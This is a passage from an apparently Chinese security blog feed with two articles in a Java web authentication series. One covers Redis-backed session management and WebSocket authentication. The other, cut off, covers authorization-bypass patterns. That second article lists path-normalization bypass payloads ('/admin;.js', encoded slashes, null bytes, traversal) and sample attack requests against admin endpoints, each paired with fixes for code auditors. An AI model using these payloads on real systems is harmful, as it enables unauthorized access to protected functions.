    <span class="na">password</span><span class="pi">:</span> <span class="s">${REDIS_PASSWORD}</span>  <span class="c1"># 必须从环境变量读取</span>
    <span class="na">timeout</span><span class="pi">:</span> <span class="s">3000ms</span>
    <span class="na">lettuce</span><span class="pi">:</span>
      <span class="na">pool</span><span class="pi">:</span>
        <span class="na">max-active</span><span class="pi">:</span> <span class="m">50</span>
        <span class="na">max-idle</span><span class="pi">:</span> <span class="m">20</span>
        <span class="na">min-idle</span><span class="pi">:</span> <span class="m">5</span>
</code></pre></div></div>

<p><strong>Cluster 模式下的 Session 一致性陷阱</strong>：</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>问题：Spring Session 默认使用 Redis key 存储
Cluster 模式下 key 会被 hash 到不同分片
但 Session 相关的原子操作（如 find/findByPrincipalName）
跨分片时无法保证事务性

解决：
1. 使用 HashTag 绑定会话相关 key 到同一分片
   repo.setRedisKeyNamespace("{myapp}:session:")
2. 或使用单节点 Redis 存储 Session（小规模推荐）
</code></pre></div></div>

<hr />

<h2 id="610-websocket-会话安全补充">6.10 WebSocket 会话安全（补充）</h2>

<p>WebSocket 连接建立后的认证是一个容易被忽略的问题：</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Configuration</span>
<span class="nd">@EnableWebSocketMessageBroker</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">WebSocketSecurityConfig</span> <span class="kd">implements</span> <span class="nc">WebSocketMessageBrokerConfigurer</span> <span class="o">{</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">configureClientInboundChannel</span><span class="o">(</span><span class="nc">ChannelRegistration</span> <span class="n">registration</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">registration</span><span class="o">.</span><span class="na">interceptors</span><span class="o">(</span><span class="k">new</span> <span class="nc">ChannelInterceptor</span><span class="o">()</span> <span class="o">{</span>
            <span class="nd">@Override</span>
            <span class="kd">public</span> <span class="nc">Message</span><span class="o">&lt;?&gt;</span> <span class="n">preSend</span><span class="o">(</span><span class="nc">Message</span><span class="o">&lt;?&gt;</span> <span class="n">message</span><span class="o">,</span> <span class="nc">MessageChannel</span> <span class="n">channel</span><span class="o">)</span> <span class="o">{</span>
                <span class="nc">StompHeaderAccessor</span> <span class="n">accessor</span> <span class="o">=</span> 
                    <span class="nc">MessageHeaderAccessor</span><span class="o">.</span><span class="na">getAccessor</span><span class="o">(</span><span class="n">message</span><span class="o">,</span> <span class="nc">StompHeaderAccessor</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>
                
                <span class="k">if</span> <span class="o">(</span><span class="nc">StompCommand</span><span class="o">.</span><span class="na">CONNECT</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">accessor</span><span class="o">.</span><span class="na">getCommand</span><span class="o">()))</span> <span class="o">{</span>
                    <span class="c1">// 从 STOMP CONNECT 帧中提取 Token</span>
                    <span class="nc">String</span> <span class="n">token</span> <span class="o">=</span> <span class="n">accessor</span><span class="o">.</span><span class="na">getFirstNativeHeader</span><span class="o">(</span><span class="s">"Authorization"</span><span class="o">);</span>
                    <span class="k">if</span> <span class="o">(</span><span class="n">token</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">||</span> <span class="o">!</span><span class="n">token</span><span class="o">.</span><span class="na">startsWith</span><span class="o">(</span><span class="s">"Bearer "</span><span class="o">))</span> <span class="o">{</span>
                        <span class="k">throw</span> <span class="k">new</span> <span class="nf">AccessDeniedException</span><span class="o">(</span><span class="s">"未认证"</span><span class="o">);</span>
                    <span class="o">}</span>
                    
                    <span class="c1">// 验证 Token 并设置用户</span>
                    <span class="nc">User</span> <span class="n">user</span> <span class="o">=</span> <span class="n">tokenService</span><span class="o">.</span><span class="na">validateAndGetUser</span><span class="o">(</span><span class="n">token</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="mi">7</span><span class="o">));</span>
                    <span class="n">accessor</span><span class="o">.</span><span class="na">setUser</span><span class="o">(</span><span class="n">user</span><span class="o">);</span>
                <span class="o">}</span>
                
                <span class="c1">// 对于 SUBSCRIBE/SEND 等命令，检查权限</span>
                <span class="k">if</span> <span class="o">(</span><span class="nc">StompCommand</span><span class="o">.</span><span class="na">SUBSCRIBE</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">accessor</span><span class="o">.</span><span class="na">getCommand</span><span class="o">()))</span> <span class="o">{</span>
                    <span class="nc">String</span> <span class="n">destination</span> <span class="o">=</span> <span class="n">accessor</span><span class="o">.</span><span class="na">getDestination</span><span class="o">();</span>
                    <span class="nc">User</span> <span class="n">user</span> <span class="o">=</span> <span class="o">(</span><span class="nc">User</span><span class="o">)</span> <span class="n">accessor</span><span class="o">.</span><span class="na">getUser</span><span class="o">();</span>
                    
                    <span class="c1">// 检查用户是否有权限订阅此主题</span>
                    <span class="k">if</span> <span class="o">(</span><span class="n">destination</span><span class="o">.</span><span class="na">startsWith</span><span class="o">(</span><span class="s">"/topic/admin/"</span><span class="o">)</span> 
                        <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">user</span><span class="o">.</span><span class="na">hasRole</span><span class="o">(</span><span class="s">"ADMIN"</span><span class="o">))</span> <span class="o">{</span>
                        <span class="k">throw</span> <span class="k">new</span> <span class="nf">AccessDeniedException</span><span class="o">(</span><span class="s">"无权限订阅此主题"</span><span class="o">);</span>
                    <span class="o">}</span>
                <span class="o">}</span>
                
                <span class="k">return</span> <span class="n">message</span><span class="o">;</span>
            <span class="o">}</span>
        <span class="o">});</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p><strong>WebSocket 安全检查清单</strong>：</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>☐ CONNECT 帧必须验证 Token/Cookie
☐ SUBSCRIBE 主题需要权限检查（/topic/admin/ 仅管理员）
☐ SEND 目标需要校验（防止向他人主题发送消息）
☐ 心跳超时断开（防止资源耗尽）
☐ 单个用户最大连接数限制
☐ 消息大小限制（防止 DoS）
</code></pre></div></div>

<hr />

<h2 id="总结">总结</h2>

<p>会话管理的安全本质是回答三个问题：</p>

<ol>
  <li><strong>你是谁？</strong> — 认证：Session/Token 是否有效</li>
  <li><strong>你还应该是你吗？</strong> — 会话完整性：IP/UA 是否变化，是否被踢出</li>
  <li><strong>你能做什么？</strong> — 授权：Session 中的权限是否仍有效，缓存是否实时</li>
</ol>

<p>Redis 在其中的角色是<strong>共享的真实状态源</strong>——无论前端使用 Session 还是 JWT，服务端都需要一个地方存储”当前有效的会话/权限/黑名单”信息。Redis 配置的安全性直接决定了这层防护是否可靠。</p>

<hr />

<p><strong>系列文章</strong>：</p>
<ul>
  <li><a href="/2026/05/07/java-web-auth-overview/">概览篇</a></li>
  <li><a href="/2026/05/08/spring-security-security-practice/">Spring Security 安全配置篇</a></li>
  <li><a href="/2026/05/08/apache-shiro-security-practice/">Apache Shiro 安全配置篇</a></li>
  <li><a href="/2026/05/08/jwt-security-practice/">JWT 认证安全篇</a></li>
  <li><a href="/2026/05/08/java-web-auth-bypass/">鉴权绕过模式篇</a></li>
</ul>]]></content><author><name>江流</name></author><category term="Java安全" /><category term="Redis" /><category term="Session管理" /><category term="Redis" /><category term="会话安全" /><category term="认证授权" /><category term="分布式会话" /><category term="代码审计" /><summary type="html"><![CDATA[Java Web 会话管理与 Redis 认证实践 会话管理是认证体系的”最后一公里”。无论前端用 JWT 还是 Session，服务端的校验逻辑、Redis 缓存策略、并发控制直接决定了整个认证链路的安全性。 本文是 Java Web 认证授权安全系列 的第六篇。 6.1 Session Fixation 攻击 // ❌ 登录前后 Session ID 不变 http.sessionManagement().sessionFixation().none(); // ✅ 登录后更换 Session ID http.sessionManagement() .sessionFixation().migrateSession(); // 创建新 Session，复制属性 // 或 http.sessionManagement() .sessionFixation().newSession(); // 创建全新 Session 6.2 Cookie 安全属性 @Bean public CookieSerializer cookieSerializer() { DefaultCookieSerializer serializer = new DefaultCookieSerializer(); serializer.setSameSite("Strict"); serializer.setUseSecureCookie(true); serializer.setUseHttpOnlyCookie(true); return serializer; } server: servlet: session: cookie: http-only: true secure: true same-site: strict timeout: 30m 6.3 服务端 Session 校验的正确模式 模式 A：仅判空（不安全） // ❌ 只判断 getAttribute 是否为 null，无状态校验 Object user = session.getAttribute("user"); if (user == null) { response.sendRedirect("/login"); return false; } return true; // 不管 user 是否已被禁用、IP 是否变化 模式 B：Redis 集中校验（推荐） @Component public class SessionAuthInterceptor implements HandlerInterceptor { @Autowired private RedisTemplate&lt;String, SessionUser&gt; redis; @Autowired private UserService userService; public boolean preHandle(HttpServletRequest request, ...) { String sessionId = request.getHeader("X-Session-Id"); if (sessionId == null) { HttpSession s = request.getSession(false); if (s == null) { respond401(response, "未登录"); return false; } sessionId = s.getId(); } SessionUser user = redis.opsForValue().get("session:user:" + sessionId); if (user == null) { respond401(response, "Session 过期"); return false; } // 检查用户是否仍有效（可能被管理员禁用） if (!userService.isUserActive(user.getUserId())) { redis.delete("session:user:" + sessionId); respond401(response, "账号已禁用"); return false; } // 检查 IP 变化（管理后台推荐严格模式） String currentIp = getClientIp(request); if (!currentIp.equals(user.getLoginIp())) { log.warn("IP变化: userId={}", user.getUserId()); } // 续期 redis.expire("session:user:" + sessionId, Duration.ofMinutes(30)); request.setAttribute("currentUser", user); return true; } } @Data public class SessionUser implements Serializable { private Long userId; private String username; private Set&lt;String&gt; roles; private Set&lt;String&gt; permissions; private String loginIp; private String userAgent; private LocalDateTime loginTime; } 模式 C：无状态 Token + Redis 黑名单 @Override public boolean preHandle(HttpServletRequest request, ...) { String token = extractBearerToken(request); if (token == null) { respond401(response, "缺少Token"); return false; } // 黑名单检查（已注销的 Token） if (Boolean.TRUE.equals(redis.hasKey("token:blacklist:" + getTokenId(token)))) { respond401(response, "Token 已失效"); return false; } // JWT 校验 try { TokenUser user = jwtService.validateAndParse(token); request.setAttribute("currentUser", user); return true; } catch (JwtException e) { respond401(response, "Token 无效"); return false; } } 6.4 Redis 权限缓存的安全陷阱 // ❌ 缓存无失效机制 — 权限变更后旧权限仍生效 public Set&lt;String&gt; getUserPermissions(Long userId) { Set&lt;String&gt; cached = redis.opsForValue().get("perm:" + userId); if (cached != null) return cached; // ← 永远返回缓存 // ... } // ✅ 变更时主动失效 + 短 TTL public void updateUserPermissions(Long userId, Set&lt;String&gt; newPerms) { permissionMapper.updatePermissions(userId, newPerms); redis.delete("perm:" + userId); // 立即失效 redis.convertAndSend("perm:invalidate", userId.toString()); // 通知其他节点 } public Set&lt;String&gt; getUserPermissions(Long userId) { return Optional.ofNullable(redis.opsForValue().get("perm:" + userId)) .orElseGet(() -&gt; { Set&lt;String&gt; perms = permissionMapper.findByUserId(userId); redis.opsForValue().set("perm:" + userId, perms, Duration.ofMinutes(5)); return perms; }); } 6.5 并发登录控制 @Component public class SessionManager { @Autowired private RedisTemplate&lt;String, String&gt; redis; public void registerSession(Long userId, String newSessionId) { String oldSessionId = redis.opsForValue().get("user:session:" + userId); if (oldSessionId != null &amp;&amp; !oldSessionId.equals(newSessionId)) { redis.opsForValue().set("session:blacklist:" + oldSessionId, "kicked", Duration.ofMinutes(30)); log.info("用户 {} 新设备登录，旧 Session 被踢出", userId); } redis.opsForValue().set("user:session:" + userId, newSessionId, Duration.ofHours(2)); } } 6.6 暴力破解防护（Redis 限流） @Component public class LoginRateLimiter { private static final int MAX_ATTEMPTS = 5; private static final Duration WINDOW = Duration.ofMinutes(5); private static final Duration BLOCK = Duration.ofMinutes(15); public boolean isBlocked(String username, String ip) { return Boolean.TRUE.equals(redis.hasKey("login:block:" + ip)) || Boolean.TRUE.equals(redis.hasKey("login:block:user:" + username)); } public void recordFailedAttempt(String username, String ip) { String key = "login:attempt:" + ip + ":" + username; Long attempts = redis.opsForValue().increment(key); if (attempts == 1) redis.expire(key, WINDOW); if (attempts &gt;= MAX_ATTEMPTS) { redis.opsForValue().set("login:block:" + ip, 1, BLOCK); redis.opsForValue().set("login:block:user:" + username, 1, BLOCK); } } } 6.7 混合认证架构设计 管理后台 (Web/Cookie) ──→ Session 认证 ──┐ ├──→ Redis 统一存储 移动端/API (Token) ──→ JWT 认证 ──┘ // 管理后台：Session @Bean public SecurityFilterChain webChain(HttpSecurity http) throws Exception { http.securityMatcher("/admin/**") .authorizeHttpRequests(a -&gt; a.anyRequest().hasRole("ADMIN")) .formLogin(Customizer.withDefaults()) .sessionManagement(s -&gt; s.sessionCreationPolicy(IF_REQUIRED)); return http.build(); } // API：JWT @Bean @Order(1) public SecurityFilterChain apiChain(HttpSecurity http) throws Exception { http.securityMatcher("/api/**") .authorizeHttpRequests(a -&gt; a.requestMatchers("/api/public/**").permitAll() .anyRequest().authenticated()) .oauth2ResourceServer(o -&gt; o.jwt(Customizer.withDefaults())) .sessionManagement(s -&gt; s.sessionCreationPolicy(STATELESS)); return http.build(); } 问题 Session JWT 混合方案 吊销 ✅ ❌ Redis 黑名单 扩展 ❌ ✅ Redis 共享 CSRF ❌ ✅ SameSite Cookie XSS ✅ ❌ 管理后台用 Session 6.8 Spring Session 深度配置（补充） @Configuration @EnableRedisHttpSession(maxInactiveIntervalInSeconds = 1800) public class SessionConfig { @Bean public RedisSerializer&lt;Object&gt; springSessionDefaultRedisSerializer() { // 不要用 JdkSerializationRedisSerializer — 有反序列化风险 // 推荐 Jackson 或 GenericJackson2JsonRedisSerializer return new GenericJackson2JsonRedisSerializer(); } @Bean public CookieSerializer cookieSerializer() { DefaultCookieSerializer serializer = new DefaultCookieSerializer(); serializer.setCookieName("SESSIONID"); serializer.setCookiePath("/"); serializer.setDomainNamePattern("^.+?\\.(example\\.com)$"); serializer.setUseSecureCookie(true); serializer.setUseHttpOnlyCookie(true); serializer.setSameSite("Lax"); return serializer; } @Bean public RedisIndexedSessionRepository sessionRepository( RedisOperations&lt;String, Object&gt; redis) { RedisIndexedSessionRepository repo = new RedisIndexedSessionRepository(redis); repo.setDefaultMaxInactiveInterval(Duration.ofMinutes(30)); // 关键：配置 Redis key 前缀，方便管理 repo.setRedisKeyNamespace("myapp:session:"); return repo; } } Spring Session 安全注意事项： 序列化器选择：避免 JdkSerializationRedisSerializer，它和 Java 原生反序列化一样存在 RCE 风险 Redis 密码：生产环境 spring.redis.password 必须设置 命名空间隔离：不同应用使用不同的 redisKeyNamespace，避免 Session 混淆 findByPrincipalName：此方法会遍历所有 Session key（KEYS *），大数据量时性能极差，谨慎使用 6.9 Redis Cluster 模式下的认证（补充） # Redis Cluster 配置 spring: redis: cluster: nodes: - 10.0.1.10:6379 - 10.0.1.11:6379 - 10.0.1.12:6379 password: ${REDIS_PASSWORD} # 必须从环境变量读取 timeout: 3000ms lettuce: pool: max-active: 50 max-idle: 20 min-idle: 5 Cluster 模式下的 Session 一致性陷阱： 问题：Spring Session 默认使用 Redis key 存储 Cluster 模式下 key 会被 hash 到不同分片 但 Session 相关的原子操作（如 find/findByPrincipalName） 跨分片时无法保证事务性 解决： 1. 使用 HashTag 绑定会话相关 key 到同一分片 repo.setRedisKeyNamespace("{myapp}:session:") 2. 或使用单节点 Redis 存储 Session（小规模推荐） 6.10 WebSocket 会话安全（补充） WebSocket 连接建立后的认证是一个容易被忽略的问题： @Configuration @EnableWebSocketMessageBroker public class WebSocketSecurityConfig implements WebSocketMessageBrokerConfigurer { @Override public void configureClientInboundChannel(ChannelRegistration registration) { registration.interceptors(new ChannelInterceptor() { @Override public Message&lt;?&gt; preSend(Message&lt;?&gt; message, MessageChannel channel) { StompHeaderAccessor accessor = MessageHeaderAccessor.getAccessor(message, StompHeaderAccessor.class); if (StompCommand.CONNECT.equals(accessor.getCommand())) { // 从 STOMP CONNECT 帧中提取 Token String token = accessor.getFirstNativeHeader("Authorization"); if (token == null || !token.startsWith("Bearer ")) { throw new AccessDeniedException("未认证"); } // 验证 Token 并设置用户 User user = tokenService.validateAndGetUser(token.substring(7)); accessor.setUser(user); } // 对于 SUBSCRIBE/SEND 等命令，检查权限 if (StompCommand.SUBSCRIBE.equals(accessor.getCommand())) { String destination = accessor.getDestination(); User user = (User) accessor.getUser(); // 检查用户是否有权限订阅此主题 if (destination.startsWith("/topic/admin/") &amp;&amp; !user.hasRole("ADMIN")) { throw new AccessDeniedException("无权限订阅此主题"); } } return message; } }); } } WebSocket 安全检查清单： ☐ CONNECT 帧必须验证 Token/Cookie ☐ SUBSCRIBE 主题需要权限检查（/topic/admin/ 仅管理员） ☐ SEND 目标需要校验（防止向他人主题发送消息） ☐ 心跳超时断开（防止资源耗尽） ☐ 单个用户最大连接数限制 ☐ 消息大小限制（防止 DoS） 总结 会话管理的安全本质是回答三个问题： 你是谁？ — 认证：Session/Token 是否有效 你还应该是你吗？ — 会话完整性：IP/UA 是否变化，是否被踢出 你能做什么？ — 授权：Session 中的权限是否仍有效，缓存是否实时 Redis 在其中的角色是共享的真实状态源——无论前端使用 Session 还是 JWT，服务端都需要一个地方存储”当前有效的会话/权限/黑名单”信息。Redis 配置的安全性直接决定了这层防护是否可靠。 系列文章： 概览篇 Spring Security 安全配置篇 Apache Shiro 安全配置篇 JWT 认证安全篇 鉴权绕过模式篇]]></summary></entry><entry><title type="html">Java Web 鉴权绕过模式深度剖析</title><link href="https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/web%E5%AE%89%E5%85%A8/2026/05/08/Java-Web%E9%89%B4%E6%9D%83%E7%BB%95%E8%BF%87%E6%A8%A1%E5%BC%8F%E6%B7%B1%E5%BA%A6%E5%89%96%E6%9E%90/" rel="alternate" type="text/html" title="Java Web 鉴权绕过模式深度剖析" /><published>2026-05-08T08:00:00+00:00</published><updated>2026-05-08T08:00:00+00:00</updated><id>https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/web%E5%AE%89%E5%85%A8/2026/05/08/Java%20Web%E9%89%B4%E6%9D%83%E7%BB%95%E8%BF%87%E6%A8%A1%E5%BC%8F%E6%B7%B1%E5%BA%A6%E5%89%96%E6%9E%90</id><content type="html" xml:base="https://djiangliu.github.io/java%E5%AE%89%E5%85%A8/web%E5%AE%89%E5%85%A8/2026/05/08/Java-Web%E9%89%B4%E6%9D%83%E7%BB%95%E8%BF%87%E6%A8%A1%E5%BC%8F%E6%B7%B1%E5%BA%A6%E5%89%96%E6%9E%90/"><![CDATA[<h1 id="java-web-鉴权绕过模式深度剖析">Java Web 鉴权绕过模式深度剖析</h1>

<p>鉴权绕过是代码审计中最常见也最致命的问题类型。本文涵盖 URI 解析差异、路径规范化绕过、<code class="language-plaintext highlighter-rouge">preHandle</code> 认证/授权缺陷、WAF 对抗等核心模式。</p>

<blockquote>
  <p>本文是 <a href="/2026/05/07/java-web-auth-overview/">Java Web 认证授权安全系列</a> 的第五篇。</p>
</blockquote>

<hr />

<h2 id="51-uri-解析差异绕过最关键">5.1 URI 解析差异绕过（最关键）</h2>

<p>这是代码审计中的 <strong>“万恶之源”</strong>——鉴权 Filter 和路由分发使用不同的 URI 获取方法。</p>

<table>
  <thead>
    <tr>
      <th>获取方法</th>
      <th style="text-align: center">安全性</th>
      <th>说明</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">request.getRequestURI()</code></td>
      <td style="text-align: center">❌</td>
      <td>保留原始路径，含 <code class="language-plaintext highlighter-rouge">;</code>、<code class="language-plaintext highlighter-rouge">../</code>、编码字符</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">request.getRequestURL()</code></td>
      <td style="text-align: center">❌</td>
      <td>同上</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">request.getServletPath()</code></td>
      <td style="text-align: center">✅</td>
      <td>Tomcat 已规范化处理</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">request.getContextPath()</code></td>
      <td style="text-align: center">✅</td>
      <td>仅上下文路径</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">HandlerMapping.BEST_MATCHING_PATTERN_ATTRIBUTE</code></td>
      <td style="text-align: center">✅</td>
      <td>Spring 路由匹配后的实际路径</td>
    </tr>
  </tbody>
</table>

<p><strong>经典攻击场景</strong>：</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ Filter 用 getRequestURI() 做白名单 → 可被分号绕过</span>
<span class="nc">String</span> <span class="n">uri</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getRequestURI</span><span class="o">();</span>
<span class="k">if</span> <span class="o">(</span><span class="n">uri</span><span class="o">.</span><span class="na">endsWith</span><span class="o">(</span><span class="s">".js"</span><span class="o">)</span> <span class="o">||</span> <span class="n">uri</span><span class="o">.</span><span class="na">endsWith</span><span class="o">(</span><span class="s">".css"</span><span class="o">))</span> <span class="o">{</span>
    <span class="n">chain</span><span class="o">.</span><span class="na">doFilter</span><span class="o">(</span><span class="n">request</span><span class="o">,</span> <span class="n">response</span><span class="o">);</span>
    <span class="k">return</span><span class="o">;</span>
<span class="o">}</span>
<span class="c1">// GET /admin/deleteUser;.js → getRequestURI() 匹配 .js → 放行</span>
<span class="c1">// Tomcat 解析分号 → 路由到 /admin/deleteUser → 鉴权绕过</span>

<span class="c1">// ✅ 修复</span>
<span class="nc">String</span> <span class="n">path</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getServletPath</span><span class="o">();</span>
<span class="c1">// 或 Spring 路由属性</span>
<span class="nc">String</span> <span class="n">pattern</span> <span class="o">=</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span> <span class="n">request</span><span class="o">.</span><span class="na">getAttribute</span><span class="o">(</span>
    <span class="nc">HandlerMapping</span><span class="o">.</span><span class="na">BEST_MATCHING_PATTERN_ATTRIBUTE</span><span class="o">);</span>
</code></pre></div></div>

<hr />

<h2 id="52-路径规范化绕过速查表">5.2 路径规范化绕过速查表</h2>

<table>
  <thead>
    <tr>
      <th>绕过模式</th>
      <th>Payload 示例</th>
      <th>原理</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>分号 + 后缀</td>
      <td><code class="language-plaintext highlighter-rouge">/admin;.js</code>、<code class="language-plaintext highlighter-rouge">/admin;.css</code></td>
      <td>Tomcat 删除 <code class="language-plaintext highlighter-rouge">;</code> 及之后</td>
    </tr>
    <tr>
      <td>分号 + 穿越</td>
      <td><code class="language-plaintext highlighter-rouge">/public;/../admin</code></td>
      <td>组合绕过</td>
    </tr>
    <tr>
      <td>URL 编码斜杠</td>
      <td><code class="language-plaintext highlighter-rouge">/admin%2fusers</code></td>
      <td>容器解码前后路径不一致</td>
    </tr>
    <tr>
      <td>双重编码</td>
      <td><code class="language-plaintext highlighter-rouge">/admin%252fusers</code></td>
      <td><code class="language-plaintext highlighter-rouge">%25</code> → <code class="language-plaintext highlighter-rouge">%</code></td>
    </tr>
    <tr>
      <td>路径穿越</td>
      <td><code class="language-plaintext highlighter-rouge">/public/../admin</code></td>
      <td>鉴权匹配与路由解析差异</td>
    </tr>
    <tr>
      <td>尾部斜杠</td>
      <td><code class="language-plaintext highlighter-rouge">/admin/</code> vs <code class="language-plaintext highlighter-rouge">/admin</code></td>
      <td>某些配置视为不同</td>
    </tr>
    <tr>
      <td>空字节</td>
      <td><code class="language-plaintext highlighter-rouge">/admin%00.jpg</code></td>
      <td>C 字符串截断</td>
    </tr>
    <tr>
      <td>换行符</td>
      <td><code class="language-plaintext highlighter-rouge">/admin%0d%0a</code></td>
      <td>影响正则匹配</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="53-越权访问idor">5.3 越权访问（IDOR）</h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ 无归属校验</span>
<span class="nd">@GetMapping</span><span class="o">(</span><span class="s">"/api/orders/{orderId}"</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">Order</span> <span class="nf">getOrder</span><span class="o">(</span><span class="nd">@PathVariable</span> <span class="nc">Long</span> <span class="n">orderId</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">return</span> <span class="n">orderService</span><span class="o">.</span><span class="na">findById</span><span class="o">(</span><span class="n">orderId</span><span class="o">);</span>
<span class="o">}</span>

<span class="c1">// ✅ 校验归属</span>
<span class="nd">@GetMapping</span><span class="o">(</span><span class="s">"/api/orders/{orderId}"</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">Order</span> <span class="nf">getOrder</span><span class="o">(</span><span class="nd">@PathVariable</span> <span class="nc">Long</span> <span class="n">orderId</span><span class="o">,</span> <span class="nd">@AuthenticationPrincipal</span> <span class="nc">UserDetails</span> <span class="n">user</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">Order</span> <span class="n">order</span> <span class="o">=</span> <span class="n">orderService</span><span class="o">.</span><span class="na">findById</span><span class="o">(</span><span class="n">orderId</span><span class="o">);</span>
    <span class="k">if</span> <span class="o">(!</span><span class="n">order</span><span class="o">.</span><span class="na">getUserId</span><span class="o">().</span><span class="na">equals</span><span class="o">(</span><span class="n">user</span><span class="o">.</span><span class="na">getId</span><span class="o">()))</span> <span class="o">{</span>
        <span class="k">throw</span> <span class="k">new</span> <span class="nf">AccessDeniedException</span><span class="o">(</span><span class="s">"无权访问"</span><span class="o">);</span>
    <span class="o">}</span>
    <span class="k">return</span> <span class="n">order</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<hr />

<h2 id="54-多层鉴权架构分析">5.4 多层鉴权架构分析</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>请求 → Filter 层 → Interceptor 层 → Controller(AOP) → 业务逻辑
        │              │                 │
        └── 登录检查    └── 权限校验      └── 业务权限
</code></pre></div></div>

<p><strong>审计关键</strong>：绕过一层不代表绕过全部。需分析每层的职责和 fallback 逻辑。</p>

<hr />

<h2 id="55-实战prehandle-只认证不授权--getrequesturi-绕过">5.5 实战：<code class="language-plaintext highlighter-rouge">preHandle</code> 只认证不授权 + <code class="language-plaintext highlighter-rouge">getRequestURI()</code> 绕过</h2>

<h3 id="模式-a仅认证--全路径-return-true">模式 A：仅认证 + 全路径 <code class="language-plaintext highlighter-rouge">return true</code></h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ 问题代码</span>
<span class="nd">@Override</span>
<span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">preHandle</span><span class="o">(</span><span class="nc">HttpServletRequest</span> <span class="n">request</span><span class="o">,</span> <span class="o">...)</span> <span class="o">{</span>
    <span class="nc">String</span> <span class="n">uri</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getRequestURI</span><span class="o">();</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">uri</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"/login"</span><span class="o">)</span> <span class="o">||</span> <span class="n">uri</span><span class="o">.</span><span class="na">endsWith</span><span class="o">(</span><span class="s">".js"</span><span class="o">))</span> <span class="o">{</span> <span class="k">return</span> <span class="kc">true</span><span class="o">;</span> <span class="o">}</span>
    
    <span class="nc">String</span> <span class="n">token</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getHeader</span><span class="o">(</span><span class="s">"Authorization"</span><span class="o">);</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">token</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> <span class="n">response</span><span class="o">.</span><span class="na">setStatus</span><span class="o">(</span><span class="mi">401</span><span class="o">);</span> <span class="k">return</span> <span class="kc">false</span><span class="o">;</span> <span class="o">}</span>
    
    <span class="nc">User</span> <span class="n">user</span> <span class="o">=</span> <span class="n">parseToken</span><span class="o">(</span><span class="n">token</span><span class="o">);</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">user</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> <span class="n">response</span><span class="o">.</span><span class="na">setStatus</span><span class="o">(</span><span class="mi">401</span><span class="o">);</span> <span class="k">return</span> <span class="kc">false</span><span class="o">;</span> <span class="o">}</span>
    
    <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>  <span class="c1">// ← 任何登录用户都能访问管理接口！</span>
<span class="o">}</span>
</code></pre></div></div>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err"># 攻击链
POST /api/login → Token: eyJ... (普通用户)
GET /api/admin/deleteUser?id=1  Authorization: Bearer eyJ... → 200 OK
GET /api/admin/deleteUser;.js  → 无需登录即可访问！
</span></code></pre></div></div>

<h3 id="模式-b白名单路径穿越">模式 B：白名单路径穿越</h3>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err"># startsWith("/api/public/") 可被穿越
GET /api/public/../admin/users → 绕过登录检查
GET /static/../../api/admin/config → contains("/static/") 绕过
</span></code></pre></div></div>

<h3 id="模式-c后缀匹配绕过">模式 C：后缀匹配绕过</h3>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">GET /api/admin/users;.js
GET /api/config/dbPassword;.png
</span></code></pre></div></div>

<h3 id="正确修复">正确修复</h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ✅ 使用 getServletPath() + 精确白名单 + 认证+授权</span>
<span class="kd">public</span> <span class="kt">boolean</span> <span class="nf">preHandle</span><span class="o">(</span><span class="nc">HttpServletRequest</span> <span class="n">request</span><span class="o">,</span> <span class="o">...)</span> <span class="o">{</span>
    <span class="nc">String</span> <span class="n">path</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getServletPath</span><span class="o">();</span>
